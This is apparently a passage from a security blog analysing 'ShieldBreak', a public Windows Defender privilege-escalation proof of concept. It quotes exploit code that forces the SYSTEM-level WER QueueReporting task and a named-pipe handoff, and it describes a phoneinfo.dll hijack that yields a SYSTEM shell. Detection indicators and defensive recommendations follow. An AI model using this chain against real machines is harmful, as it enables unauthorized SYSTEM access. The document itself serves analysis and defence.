The embedded report is a plausible-looking APPCRASH record. Its contents matter only insofar as they cause wermgr.exe to process the queue entry and walk the code path that loads the missing DLL:

Version=1
EventType=APPCRASH
ReportType=2
Consent=1
ReportStatus=2
NsAppName=AngryPeopleBug.exe
Sig[0].Name=Application Name
Sig[0].Value=AngryPeopleBug.exe
Sig[3].Name=Fault Module Name
Sig[3].Value=combase.dll

Report.wer — excerpt from the embedded crash report.

Rather than waiting for WER to process the queue on its own schedule, the exploit drives it immediately through the Task Scheduler COM API, running \Microsoft\Windows\Windows Error Reporting\QueueReporting on demand.

	HRESULT hr = S_OK;
	ITaskService* pTaskSvc;
	hr = CoInitialize(NULL);
	if (SUCCEEDED(hr))
	{
		hr = CoCreateInstance(CLSID_TaskScheduler,
			NULL,
			CLSCTX_INPROC_SERVER,
			IID_ITaskService,
			(void**)&pTaskSvc);
		if (FAILED(hr))
		{
			printf("[-] Failed to initialize task scheduler COM server.\n");
			CoUninitialize();
			return 1;
		}
	}
	else
	{
		return 1;
	}
	hr = pTaskSvc->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
	if (hr)
	{
		printf("[-] Failed to connect to task scheduler service, error : 0x%0.8X\n", hr);
		return 1;
	}
	ITaskFolder* taskfolder;
	pTaskSvc->GetFolder((BSTR)L"\\Microsoft\\Windows\\Windows Error Reporting", &taskfolder);
	if (hr)
	{
		printf("[-] Failed to get task scheduler folder, error : 0x%0.8X\n", hr);
		return 1;
	}
	IRegisteredTask* taskex;
	taskfolder->GetTask((BSTR)L"QueueReporting", &taskex);
	if (hr)
	{
		printf("[-] Failed to obtain task object, error : 0x%0.8X\n", hr);
		return 1;
	}
	IRunningTask* runningtask;
	taskex->Run(_variant_t(), &runningtask);
	if (hr)
	{
		printf("[-] Failed to run scheduled task, error : 0x%0.8X\n", hr);
		return 1;
	}

ShieldBreak.cpp — triggering the SYSTEM-level QueueReporting task via COM.

The payload: Warden.dll

Warden.dll is a small x64 DLL whose imports tell the whole story. It pulls in GetNamedPipeServerSessionId and CreateProcessAsUserW — nothing else of note. Loaded inside wermgr.exe as SYSTEM, it connects to the named pipe the exploit opened at startup, resolves the interactive session behind it and spawns a process as SYSTEM in that session. The main process is blocked on ConnectNamedPipe waiting for exactly this:

	if (!ConnectNamedPipe(hpipe, NULL))
	{
		printf("[-] ConnectNamedPipe failed, error : %d\n", GetLastError());
		return 1;
	}
	UnmapViewOfFile(viewbuff);
	CloseHandle(hlock);
	// lmao
	printf("[+] Exploit succeeded.\n");

ShieldBreak.cpp — the main thread waits on the pipe until the payload calls home.

The result is the interactive SYSTEM console in the author’s screenshot below. The remainder of main() is cleanup: unregistering the sync root, deleting the WER artefacts and removing the working directory.

ShieldBreak PoC run ending in an NT AUTHORITY SYSTEM shell
The PoC running end to end on Windows 11 build 26100, finishing with whoami returning nt authority\system. Source: ShieldBreak repository README.

Detection Opportunities

Because the chain leaves several distinctive artefacts, it is more detectable than the “100% success rate” framing suggests. The highest-signal indicators are the ones an attacker cannot easily drop without breaking the chain:

SignalWhere to lookNotes
Creation of C:\Windows\System32\phoneinfo.dllFile-creation telemetry, Sysmon Event ID 11This file does not exist on a clean Windows install. Creation is close to a true positive on its own.
MsMpEng.exe writing into System32EDR file-write telemetry by processDefender remediation should not produce new PEs in System32.
A new cfapi sync root under a user-writable pathCfRegisterSyncRoot telemetry, sync root registry entriesProvider name “Flubber” and ID {B196E670-59C7-4D41-9637-C62D80541321} are hardcoded in the public PoC.
Directory named C:\ShieldBreak_{GUID}File-system telemetryTrivially renamed by any fork — useful for the unmodified PoC only.
Object directories under \BaseNamedObjects\Restricted\ named WD_TARGET_ / WD_SHADOW_Object Manager instrumentationShadow directory creation via NtCreateDirectoryObjectEx is rare in legitimate software.
wermgr.exe spawning cmd.exe or any shellProcess-creation telemetryWER has no legitimate reason to parent an interactive shell.
Manual execution of the QueueReporting taskTask Scheduler operational log, Event ID 129On-demand runs of this task from a user process are anomalous.
Named pipe \.\pipe\SHIELDBREAKPipe-creation telemetry, Sysmon Event ID 17Hardcoded in the public PoC.
Detection surface for the ShieldBreak chain. Analysis: core-jmp.org.

Key Takeaways

  • The exploit never attacks Defender’s detection logic. It attacks the assumption that a file’s content and location stay constant between the scan and the remediation — a classic TOCTOU, reached through two unusual doors.
  • The Cloud Files API is a genuinely powerful primitive for this bug class. A registered provider is, by design, the authority on what a file contains at read time — which is exactly the property a scanner must not rely on.
  • Object Manager shadow directories let an attacker change where a path resolves without modifying the path. Deleting a single symlink re-routes a lookup that is already in flight.
  • The CLFS lock is the real innovation. Holding an exclusive lock on the log container stalls the kernel operation indefinitely, converting a probabilistic race into a deterministic one — the basis of the reliability claim.
  • Routing the write through the SMB loopback (\??\UNC\127.0.0.1\C$\) rather than a direct drive path is the kind of indirection that narrow, route-specific patches routinely miss.
  • phoneinfo.dll remains a reliable SYSTEM execution bridge years after it was first documented, because the file is absent by default and WER loads it from a SYSTEM context.
  • Security software running as SYSTEM with broad write rights is itself a privilege-escalation surface. The more aggressive the remediation, the more valuable it is as a confused deputy.

Defensive Recommendations

  • Deploy a canary: create C:\Windows\System32\phoneinfo.dll as a benign, ACL-locked file. The PoC explicitly aborts if it already exists, and any attempt to replace it becomes a high-fidelity alert.
  • Alert on any process creating or modifying PE files in System32, and treat MsMpEng.exe as a writer worth watching rather than trusting implicitly.
  • Hunt for wermgr.exe with unexpected child processes or unexpected module loads, and for on-demand runs of the QueueReporting scheduled task.
  • Inventory cloud sync root registrations. Outside OneDrive and a small set of known providers, a new sync root — particularly one rooted in a user-writable directory — deserves investigation.
  • Keep Defender Tamper Protection enabled and the engine current. ShieldBreak bypasses v1.1.26060.3008, but staying on the latest engine is still the baseline once a fix ships.
  • Enforce application allowlisting (WDAC or AppLocker) so that even a successfully planted DLL fails to load in a SYSTEM context.
  • Restrict local administrative rights and monitor for standard users obtaining SYSTEM tokens — the end state here is a token, whatever the route.
  • Add the hardcoded artefacts from the public PoC (pipe name, provider GUID, directory prefixes) as immediate-value detections, while accepting they will be the first thing a fork changes.

Conclusion

ShieldBreak is a good illustration of why patching a route is not the same as patching a bug class. Microsoft closed the path that RoguePlanet took; ShieldBreak reassembles the same outcome from the Cloud Files API, Object Manager shadow directories, a CLFS lock and the SMB loopback — four mechanisms that are individually documented, legitimate and unremarkable. The chain is also a reminder that a security product with SYSTEM-level write access is a high-value confused deputy: the more decisively it remediates, the more useful it becomes to an attacker who can control what it thinks it is remediating. At the time of writing there is no fix for the bypass, which makes the detection surface above the practical line of defence.

Credits and Provenance

All code in this analysis comes from the ShieldBreak repository, published by Nightmare Eclipse (GitHub MSNightmare) on 12 August 2026 and released under the MIT licence. The researcher is referred to in some coverage as “Chaotic Eclipse”; the repository’s licence file carries the copyright line Copyright (c) 2026 INFINITE NIGHTMARE. The licence requires that this notice accompany reproduced portions:

MIT License

Copyright (c) 2026 INFINITE NIGHTMARE

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

LICENSE — reproduced in full as required by its terms.

Vulnerability context, engine version numbers and timeline dates in this article are drawn from public reporting on the disclosure:

Original text: “ShieldBreak — Windows Defender 0day vulnerability” by Nightmare Eclipse, MIT licence, Copyright (c) 2026 INFINITE NIGHTMARE.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion